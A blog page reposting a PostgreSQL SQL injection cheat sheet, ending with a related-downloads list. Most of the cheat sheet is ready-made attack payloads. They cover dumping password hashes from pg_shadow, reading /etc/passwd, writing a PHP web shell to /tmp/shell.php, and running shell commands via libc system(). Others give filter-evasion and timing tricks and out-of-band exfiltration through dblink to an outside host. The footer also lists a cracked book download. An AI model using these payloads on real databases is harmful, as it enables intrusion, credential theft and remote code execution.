`

postgresql 小技巧

阅读更多

Note :

#PostgreSQL and PHP supports Batched Queries.
#Awesome, huh?

Version :

SELECT VERSION()

Directories :

SELECT current_setting (‘data_directory’)
SELECT current_setting (‘hba_file’)
SELECT current_setting (‘config_file’)
SELECT current_setting (‘ident_file’)
SELECT current_setting (‘external_pid_file’)

Users :

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();

Current Database :

SELECT current_database();

Concatenation :

SELECT 1||2||3; #Returns 123

Get Collation :

SELECT pg_client_encoding(); #Returns your current encoding (collation).

Change Collation :

SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.

Wildcards in SELECT(s) :

SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

Regular Expression in SELECT(s) :

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

SELECT Without Dublicates :

SELECT DISTINCT foo FROM bar

Counting Columns :

SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

Get Amount of PostgreSQL Users :

SELECT COUNT(*) FROM pg_catalog.pg_user

Get PostgreSQL Users :

SELECT usename FROM pg_user

Get PostgreSQL User Privileges on Different Columns :

SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get PostgreSQL User Privileges :

SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

Get PostgreSQL User Credentials & Privileges :

SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow

Get PostgreSQL DBA Accounts :

SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

Get Databases :

SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables :

SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns :

SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row :

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

Conversion (Casting) :

SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

Substring :

SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.

Hexadecimal Evasion :

#Not as fancy as in MySQL, but it sure works!

SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.

ASCII to Number :

SELECT ASCII(‘A’); #Returns 65.

Number to ASCII :

SELECT CHR(65); #Returns A.

If Statement :

#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).

SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

Case Statement :

#May be used instead of the If-Statement.

SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

Read File(s) :

CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

Write File(s) :

CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>’);
COPY file(content) TO ‘/tmp/shell.php’;

Logical Operator(s) :

#http://en.wikipedia.org/wiki/Logical_connective

AND
OR
NOT

Comments :

SELECT foo, bar FROM foo.bar/* Multi line comment  */
SELECT foo, bar FROM foo.bar– Single line comment

A few evasions/methods to use between your PostgreSQL statements :

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well, as the name says.

Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space :

#As said two lines above, the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));

Auto-Casting to Right Collation :

SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

Benchmark :

#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.

SELECT (||/(9999!));

Sleep :

SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.

Get PostgreSQL IP :

SELECT inet_server_addr()

Get PostgreSQL Port :

SELECT inet_server_port()

Command Execution :

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band )) :

SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With PostgreSQL :

  • dblink: The Root Of All Evil
  • Mapping Library Functions
  • From Sleeping and Copying In PostgreSQL 8.2
  • Recommendation and Prevention
  • Introducing pgshell
分享到:
评论

相关推荐

    PostgreSQL实战 (数据库技术丛书)破解版.7z

    中的技巧,全书分为基础篇、核心篇、进阶篇。基础篇包括第 1~4章,主要介绍PostgreSQL基础知识,例如安装与配置、客 户端工具、数据类型、SQL高级特性等,为读者阅读核心篇和 进阶篇做好准备;核心篇包括第5~9章,...

    一个提升PostgreSQL性能的小技巧

    主要介绍了一个提升Postgres性能的小技巧,通过修改很少的代码来优化查询,需要的朋友可以参考下

    本系统采用python基于flask搭建的脚手架开发。数据库是postgresql.是全网python项目难得一见的结构.zip

    Python使用技巧,实战应用开发小系统参考资料,源码参考。经测试可运行。 详细介绍了一些Python框架的各种功能和模块,以及如何使用Python进行GUI开发、网络编程和跨平台应用开发等。 适用于初学者和有经验的开发者...

    CodingTips:有关编码技巧的网站。 使用Django,JQuery,AWS S3,PostgreSQL,SMTP,Django REST Framework和Marked.js构建

    编码技巧 一个网站,程序员可以在其中共享他们的项目,hack和一些不错的编程技巧。 单击访问该网站。 特征 :- 用户可以注册,设置其个人资料(用于存储个人资料图片的AWS S3存储桶),登录/注销等。 用户必须通过...

    php网络开发完全手册

    8.3 数组索引与键值的操作技巧 123 8.4 数组的排序 125 8.4.1 递增排序——sort 125 8.4.2 递减排序——rsort 125 8.4.3 数组排序——array_multisort 126 8.5 几种数组的应用实例 127 8.5.1 顺序查找 127 8.5.2 ...

    SQL必知必会(第3版)--详细书签版

    读者将从本书中循序渐进、系统、直接地学到SQL的知识和技巧。  这是本书的第3版,它已经教会了成千上万的读者使用SQL。现在轮到你了,让我们翻到第1章,开始学习吧。你将很快编写出世界级的SQL。  读者对象  本书...

    SpreadsheetToJPA:导入将电子表格读取到单个数据库表 JPA 实体

    通过 POI 和 JPA 的电子表格到数据库这是使用 Apache POI 转换/导入/读取电子表格并使用 Java 持久性架构 (JPA) 将其写入数据库的快速技巧的粗略概述。 有很多特定于我们特定电子表格和数据库的代码。 请不要指望这...

    SQL必知必会(第3版-PDF清晰版)part1

    6.2 使用通配符的技巧..... 36 6.3 小结..... 36 第7章 创建计算字段...... 37 7.1 计算字段..... 37 7.2 拼接字段..... 38 7.3 执行算术计算..... 42 7.4 小结..... 43 第8章 使用数据处理函数...... 44 8.1 函数...

    MYSQL

    10.6 选择一种表类型 10.6.1 静态(定长)表的特点 10.6.2 动态表的特点 10.6.3 压缩表的特点 10.6.4 内存(In-memory table)表的特点 10.7 其他优化技巧 10.8 使用你自己的基准测试 ...

    Python Cookbook

    7.11 在PostgreSQL中储存BLOB 296 7.12 在SQLite中储存BLOB 298 7.13 生成一个字典将字段名映射为列号 300 7.14 利用dtuple实现对查询结果的灵活访问 302 7.15 打印数据库游标的内容 304 7.16 适用于各种DB API...

    MySQL中文参考手册

    # 7.1.5.1 名字的大小写敏感性 o 7.2 用户变量 o 7.3 列类型 + 7.3.1 列类型的存储要求 + 7.3.5 数字类型 + 7.3.6 日期和时间类型 # 7.3.6.1 问题和日期类型 # 7.3.6.2 DATETIME,DATE和TIMESTAMP类型 # 7.3...

    MySQL中文参考手册.chm

    10.6 选择一种表类型 10.6.1 静态(定长)表的特点 10.6.2 动态表的特点 10.6.3 压缩表的特点 10.6.4 内存(In-memory table)表的特点 10.7 其他优化技巧 10.8 使用你自己的基准测试...

Global site tag (gtag.js) - Google Analytics